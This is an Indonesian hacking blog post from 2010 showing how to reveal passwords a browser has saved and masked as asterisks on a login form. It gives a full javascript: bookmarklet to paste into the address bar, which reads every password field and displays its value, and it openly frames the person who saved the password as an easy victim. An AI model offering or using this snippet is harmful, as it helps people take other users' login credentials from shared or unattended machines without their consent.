Melihat Password Asterix
Posted by admin in Browser, Hacking Saturday, 9 January 2010 18:11 No Comments
Tutorial melihat password asterix, sebelumnya apa itu password asterix itu? Password asterix itu adalah password kita yang diubah menjadi simbol *** agar orang lain tidak bisa membaca password kita secara kasat mata.
Pada sebagian orang ketika login pada login form dan sesudah memasukan pass dan user biasanya browser akan bertanya apa mau save password untuk website ini apa tidak? Optionnya ada Tidak pernah untuk situs ini, Save password untuk situs ini, atau Jangan sekarang.
Apabila orang memilih Save password untuk situs ini, yup that is? Kita bakal dapat korban yang empuk. Bagaimana caranya? Coba ketik usernya pada login form lalu masukan script kode javascript berikut ini pada address bar browser :
javascript:(function(){var s,F,j,f,i; s = %22%22; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == %22password%22) s += f[i].value + %22\n%22; } } if (s) alert(%22Passwords in forms on this page:\n\n%22 + s); else alert(%22There are no saved passwords in forms on this page.%22);})();
Buzz maka password tersebut akan langsung terlihat dan dapat dibaca, seperti yang sudah saya beritahu sebelum kita input javascript tersebut maka kita tidak bisa membaca password tersebut. Kita hanya membaca *** dan kita tidak tahu apa password tersebut namun sekarang? Yup kita sudah bisa membacanya!
Thanx 4 : Mr.Blank



Leave a Reply